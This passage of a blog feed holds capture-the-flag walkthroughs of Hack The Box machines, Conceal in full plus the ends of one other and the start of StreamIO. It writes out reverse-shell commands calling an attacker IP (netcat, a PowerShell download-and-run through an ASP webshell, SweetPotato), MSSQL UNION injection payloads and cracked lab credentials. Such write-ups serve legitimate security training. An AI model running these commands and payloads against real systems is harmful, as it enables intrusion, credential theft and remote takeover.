&lt;p&gt;Sure can! Let&apos;s go ahead and change it up.&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;
#!/usr/bin/env python
import os
import sys
os.system(&apos;/bin/nc -e /bin/bash 10.10.16.3 81&apos;)
&quot; &amp;gt; /opt/tmp.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After a few minutes of waiting:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1bf9960f9ea0b506bbb795ca83336357.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hell yeah.&lt;/p&gt;
&lt;h2&gt;root.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/162609650dbffb2e581c33099260242a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fefff3c4abb9e78fdeff03f92d34ca61.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Conceal</title><link>https://maxk9999.vercel.app/posts/conceal</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/conceal</guid><pubDate>Sat, 22 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.10.116
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;nmap&lt;/code&gt; scan wouldn&apos;t show any ports:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f82f5fd38a8e1880b796735a976b9e89.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Eventhough the &lt;code&gt;ping&lt;/code&gt; command worked:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4858d462bf4947e1c15dd0fb707a34f8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I figured the firewall settings might be blocking our scans.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f10418e79b000ca483ade280c1a5fd32.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This time the port &lt;code&gt;80&lt;/code&gt; returned as &lt;code&gt;filtered&lt;/code&gt;. Before wasting more time on this though, I decided to scan &lt;code&gt;UDP&lt;/code&gt; ports first.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -F conceal -sU -T5 --min-rate=5000 -Pn -vvvv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Right away I notice the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1fa7cf94d849efc02f59f5e93724f3d3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This then took a while to scan&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Finally the results came in:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PORT    STATE SERVICE REASON
161/udp open  snmp    udp-response ttl 127
| snmp-win32-software: 
|   Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161; 2021-03-17T15:16:36
|   Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161; 2021-03-17T15:16:36
|_  VMware Tools; 2021-03-17T15:16:36
| snmp-sysdescr: Hardware: AMD64 Family 25 Model 1 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 15063 Multiprocessor Free)
|_  System uptime: 37m49.28s (226928 timeticks)
| snmp-netstat: 
|   TCP  0.0.0.0:21           0.0.0.0:0
|   TCP  0.0.0.0:80           0.0.0.0:0
|   TCP  0.0.0.0:135          0.0.0.0:0
|   TCP  0.0.0.0:445          0.0.0.0:0
|   TCP  0.0.0.0:49664        0.0.0.0:0
|   TCP  0.0.0.0:49665        0.0.0.0:0
|   TCP  0.0.0.0:49666        0.0.0.0:0
|   TCP  0.0.0.0:49667        0.0.0.0:0
|   TCP  0.0.0.0:49668        0.0.0.0:0
|   TCP  0.0.0.0:49669        0.0.0.0:0
|   TCP  0.0.0.0:49670        0.0.0.0:0
|   TCP  10.10.10.116:139     0.0.0.0:0
|   UDP  0.0.0.0:123          *:*
|   UDP  0.0.0.0:161          *:*
|   UDP  0.0.0.0:500          *:*
|   UDP  0.0.0.0:4500         *:*
|   UDP  0.0.0.0:5050         *:*
|   UDP  0.0.0.0:5353         *:*
|   UDP  0.0.0.0:5355         *:*
|   UDP  0.0.0.0:61432        *:*
|   UDP  10.10.10.116:137     *:*
|   UDP  10.10.10.116:138     *:*
|   UDP  10.10.10.116:1900    *:*
|   UDP  10.10.10.116:51122   *:*
|   UDP  127.0.0.1:1900       *:*
|_  UDP  127.0.0.1:51123      *:*
| snmp-win32-users: 
|   Administrator
|   DefaultAccount
|   Destitute
|_  Guest
500/udp open  isakmp  udp-response ttl 127
| ike-version: 
|   vendor_id: Microsoft Windows 8
|   attributes: 
|     MS NT5 ISAKMPOAKLEY
|     RFC 3947 NAT-T
|     draft-ietf-ipsec-nat-t-ike-02\n
|     IKE FRAGMENTATION
|     MS-Negotiation Discovery Capable
|_    IKE CGA version 1
Service Info: OS: Windows 8; CPE: cpe:/o:microsoft:windows:8, cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We notice that &lt;code&gt;snmp&lt;/code&gt; even displays &lt;code&gt;netstat&lt;/code&gt; for us with multiple &lt;code&gt;tcp&lt;/code&gt; ports visible!
Other than that we&apos;ve also found the &lt;code&gt;500&lt;/code&gt; port to be open with the &lt;strong&gt;isakmp&lt;/strong&gt; service, which I haven&apos;t found before.&lt;/p&gt;
&lt;h2&gt;161/UDP - SNMP&lt;/h2&gt;
&lt;p&gt;I brute forced the community string using &lt;code&gt;onesixtyone&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9b4d4fdaa7147cf639185e6e619e7ab3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And then went on with &lt;code&gt;snmpwalk&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c9878d9cbf80432b60b2127c6646a44a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We find some sort of &lt;strong&gt;IKE VPN password&lt;/strong&gt;, supposedly for the service on port &lt;code&gt;500&lt;/code&gt;?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;9C8B1A372B1878851BE2C097031B6E43
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The string under it appears to be a name maybe? Let&apos;s try cracking the found hash:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/460e866bdaf7fa62c1417b3c3913c52b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nice!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Conceal
Dudecake1!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;500/UDP - ISAKMP&lt;/h2&gt;
&lt;p&gt;I proceded to check out what this service even was in the first place.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b98561761dc4b70e73de0f6aaad130ba.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;To find out more on how to test this service I will use &lt;a href=&quot;https://book.hacktricks.wiki/en/network-services-pentesting/ipsec-ike-vpn-pentesting.html&quot;&gt;hacktricks&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7652e6ebd58855e8a7717f2aff5b6b5e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e717b476d8b2867d13418e8e29e1058b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried it out myself:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c4decbb6f85c0f75ba9096861520c458.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/21f28556455da71377b5cbbebcc4c5fc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This matches our situation.&lt;/p&gt;
&lt;h3&gt;Connecting to IPSEC VPN&lt;/h3&gt;
&lt;p&gt;In order to actually connect we will now have to edit the &lt;code&gt;/etc/ipsec.conf&lt;/code&gt; and &lt;code&gt;/etc/ipsec.secrets&lt;/code&gt; files and then start up the vpn.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ab61db3e7f0f6427bdae24a592619473.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b3a65428f209420767c285cfb7e54651.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that we have edited these 2 we can go ahead and start up the vpn in order to set up the connection.&lt;/p&gt;
&lt;p&gt;If all went accordingly we should see the following result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5d0d88b60ee540c58c5d1237dffebd3c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now I reran &lt;code&gt;nmap&lt;/code&gt; again and finally started seeing results:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e3995de17a60653d7bf06621b515b763.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Nmap - Post VPN&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;PORT      STATE SERVICE       REASON  VERSION
21/tcp    open  ftp           syn-ack Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
|_http-title: IIS Windows
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack Microsoft Windows RPC
49670/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 0s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 24024/tcp): CLEAN (Couldn&apos;t connect)
|   Check 2 (port 10757/tcp): CLEAN (Couldn&apos;t connect)
|   Check 3 (port 61491/udp): CLEAN (Timeout)
|   Check 4 (port 14517/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2025-03-22T10:22:01
|_  start_date: 2025-03-22T08:36:30
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;21/TCP - FTP&lt;/h2&gt;
&lt;p&gt;Luckily for us port &lt;code&gt;21&lt;/code&gt; has anon login, let&apos;s check it out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a677824c30f84a47c55775e40b415b53.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But it appears to be empty...&lt;/p&gt;
&lt;h2&gt;445/TCP - SMB&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/89534a714668cf95509b18edf88de35a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;No luck.&lt;/p&gt;
&lt;p&gt;Password spraying didn&apos;t yield anything either:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3eaae229252a1b40c90ef92ae48fa07a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;139/TCP - RPCclient&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/599d11208d10f6f6ad5c5dbbcb9666bd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;No luck.&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;I started up &lt;code&gt;feroxbuster&lt;/code&gt; and let it enumerate the directories, while this took a super long time I found an endpoint and checked it out right away:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0bca332e1c38bf8c634afc7986e583d5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Seems like some sort of upload page, however there&apos;s nothing on here.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3fc95d06b62c227fb3c2c0cb0381948c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;No further endpoints were found.&lt;/p&gt;
&lt;p&gt;At this point I figured we could use the &lt;code&gt;ftp&lt;/code&gt; server to upload a reverse shell which we could then initiate from the &lt;code&gt;/upload&lt;/code&gt; endpoint.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/31b8f5cd54a2ae398af727568aee5fcc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Indeed we can upload files!&lt;/p&gt;
&lt;h3&gt;Webshell&lt;/h3&gt;
&lt;p&gt;I then went ahead and tested whether I could find the files on the &lt;code&gt;/upload&lt;/code&gt; endpoint:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f608d8bfce93e56afcaa45110c4495a9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s try uploading a webshell.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/215c8bf156ebd3d8e71f64e2dbb1dd45.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We also get the physical path:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5b79467b1c548a7784ae5d483da58a0b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then went on and created a &lt;code&gt;cmd.asp&lt;/code&gt; shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a97aecb7c71426a9f5f839dd488df6d3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can now try and issue commands via the webshell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6c3784fba1e15b3711edb33ecb73e4ff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;p&gt;I will now copy the &lt;code&gt;Invoke-PowerShellTcp.ps1&lt;/code&gt; shell by &lt;a href=&quot;https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1&quot;&gt;Nishang&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0975452e610bf75c36bcf3ad111b142b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl http://conceal/upload/cmd.asp?cmd=powershell%20iex(New-Object%20Net.Webclient).downloadstring(%27http://10.10.16.2/Invoke-PowerShellTcp.ps1%27)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1f9936a8a5b0e055b90d1f4b13e93852.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/97f21e87e262561121bc62a00e60efcb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It worked, hell yeah.&lt;/p&gt;
&lt;h2&gt;Privs&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3ccbb7e7ea87092c4f295914b3eee74c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Makes sense since we&apos;re the service user for running the webserver.&lt;/p&gt;
&lt;p&gt;This HIGHLY LIKELY means that priv esc will at least be a bit easier.&lt;/p&gt;
&lt;h2&gt;user.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5a7d7736e46aecda666f78dc5f7c8e41.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;p&gt;I downloaded over &lt;code&gt;SweetPotato.exe&lt;/code&gt; and ran it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./sweet.exe -e PrintSpoofer -p nc.exe -a &quot;10.10.16.2 443 -e cmd&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f2098ac8d44a1f4e391c3754e5398f22.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;proof.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/494b5cf8c0fd16cefad9ec0d28d7c42a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ae49b58968867cd995492cf113c5bcfd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Finished 19:27 22-03-2025&lt;/strong&gt;&lt;/p&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-StreamIO</title><link>https://maxk9999.vercel.app/posts/streamio</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/streamio</guid><pubDate>Wed, 26 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.158
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -p- streamio -sT -T5 --min-rate=5000 -Pn -vvvv

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-03-26 20:47:51Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn: 
|_  http/1.1
|_ssl-date: 2025-03-26T20:49:22+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Issuer: commonName=streamIO/countryName=EU
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49673/tcp open  msrpc         syn-ack Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49705/tcp open  msrpc         syn-ack Microsoft Windows RPC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I also checked for UDP ports, specifically &lt;code&gt;161&lt;/code&gt; but got the following result:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -p161 streamio -sU -T5 --min-rate=5000 -Pn -vvvv

PORT    STATE         SERVICE REASON      VERSION
161/udp open|filtered snmp    no-response
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Time to start analyzing what we&apos;ve got.&lt;/p&gt;
&lt;p&gt;This appears to be a &lt;strong&gt;Windows&lt;/strong&gt; machine with a few ports open.&lt;/p&gt;
&lt;h2&gt;445/TCP - SMB&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/484f78c2681e6d7e8fff3506d984d889.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;h3&gt;Feroxbuster&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/80766607284841d8f0a3623a42c1328f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nothing out of the ordinary&lt;/p&gt;
&lt;h2&gt;443/TCP - HTTPS&lt;/h2&gt;
&lt;h3&gt;Feroxbuster&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/47e1d56221d468ed01f1a8b746251f4f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2644e4e9a96a293700f05f1ebcbcfead.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Couple of interesting things but let&apos;s check out the certificate, since we&apos;re dealing with a domain server.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7e15a349b79f27a4775b28f13ce16ef0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I notice the &lt;strong&gt;watch.streamIO.htb&lt;/strong&gt; subdomain, which I add to my &lt;code&gt;/etc/hosts&lt;/code&gt; list. I then go ahead and look up the website:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b4ed7df9f0567f6c5cd867ff453a75d9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And below is the &lt;strong&gt;watch.streamio.htb&lt;/strong&gt; subdomain:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b5ef05a09a579079d80f7a18c2240d5c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Gobuster&lt;/h3&gt;
&lt;p&gt;I went ahead and ran a &lt;code&gt;gobuster&lt;/code&gt; enum as well because I clearly did not receive what I needed:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c5f111bec6baed00c74efb47db9593ea.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I found the &lt;code&gt;/master.php&lt;/code&gt; endpoint, which &lt;code&gt;feroxbuster&lt;/code&gt; did not manage to find.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/378c4e4a45b56a6ff4c0fbc3c8ca4d84.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Other than that I didn&apos;t really manage to find anything else here. I then decided to enumerate the subdomain:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/45733523513b3cded36eb7a10a793a27.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I managed to find the &lt;code&gt;/search.php&lt;/code&gt; endpoint.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2e67b93cae952b7d73d6e8f04bfbfac3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When clicking on &lt;strong&gt;Watch&lt;/strong&gt; I get this error:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6856b3cbf42c0bd4baee5c648f14f321.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Burpsuite - SQLi&lt;/h3&gt;
&lt;p&gt;I opened up &lt;code&gt;burp&lt;/code&gt; and started playing around with the params, thinking I could maybe get some SQLi action going.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5fe5e72291818a54eda8d207c9c838f9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2673139a71a608ba3aa461bac694b79c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
For further testing I had to leverage the [[(My)SQL Injection.pdf]] cheatsheet.
:::&lt;/p&gt;
&lt;p&gt;Since we&apos;re dealing with a &lt;strong&gt;Windows&lt;/strong&gt; machine however, we&apos;re HIGHLY LIKELY going to be injecting &lt;code&gt;MSSQL&lt;/code&gt; commands.&lt;/p&gt;
&lt;p&gt;I started off with &lt;code&gt;&apos; UNION select 1-- -&lt;/code&gt; and then worked up with the amount of columns until I&apos;d get a response:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d5aa7f342d9c5a57eca2fe543fa48f30.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b58afe2d85e283e940d2e96e3a3dbcb1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seems like the amount of columns is &lt;code&gt;6&lt;/code&gt;, so now we need to modify the UNION query.&lt;/p&gt;
&lt;p&gt;I went ahead and inserted the &lt;code&gt;@@version&lt;/code&gt; command to check the MSSQL version:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dfe9764eef4c3c36cef40faea0c65b6f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/21cec26ab75e2941414ed1ede5e66360.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
For the following I went over to the website since it wasn&apos;t clearly readable on &lt;code&gt;burp&lt;/code&gt;.
:::&lt;/p&gt;
&lt;p&gt;:::important
Sidenote: for all the below queries I had to resort to &lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md&quot;&gt;this cheatsheet&lt;/a&gt;
:::&lt;/p&gt;
&lt;p&gt;I then enumerated the databases.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;American&apos; UNION select 1,name,3,4,5,6 from master..sysdatabases-- -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/78e996fe26128a5a708fad4313207419.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then went on to enumerate the &lt;code&gt;STREAMIO&lt;/code&gt; database:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7970ece6823c350f33926b8e7d03c773.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up I enumerated the &lt;code&gt;users&lt;/code&gt; columns:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/13ad41410e2c6eb25500e4e97e392f7b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next I enumerated the usernames:&lt;/p&gt;
&lt;p&gt;:::caution
There was a metric shit ton of them.
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8b0364f03aa05808a64698c876ab8eea.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/59513f5d662d6cd46a17bce2caf94f90.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And now the passwords:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dde4983af07141e5122a49c9d79e36e0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I started cracking them with &lt;code&gt;crackstation&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bcbd9f977550459da3077e06dc759466.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1a64af0230f7fd112f675347e9396237.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1aaf614b179aa5fa1cd4d9a040c7ccb4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we got a huge list of password spray-able credentials.&lt;/p&gt;
&lt;h3&gt;Password Spraying&lt;/h3&gt;
&lt;p&gt;I tried to password spray the creds against either &lt;code&gt;winrm&lt;/code&gt; or &lt;code&gt;smb&lt;/code&gt; but neither worked unfortunately, so I decided to try out the web server instead using &lt;code&gt;hydra&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/136d4575b358bfdc3d980a92b88573cd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We got a valid set of creds!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yoshihide
66boysandgirls..
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can now go ahead and access the &lt;code&gt;/admin&lt;/code&gt; panel:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3648604d2501b9329cfe95e456805842.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Endpoint Fuzzing - wfuzz&lt;/h3&gt;
&lt;p&gt;I then went ahead and started fuzzing for other endpoints as I suspected there&apos;d be more (the guided mode told me).&lt;/p&gt;
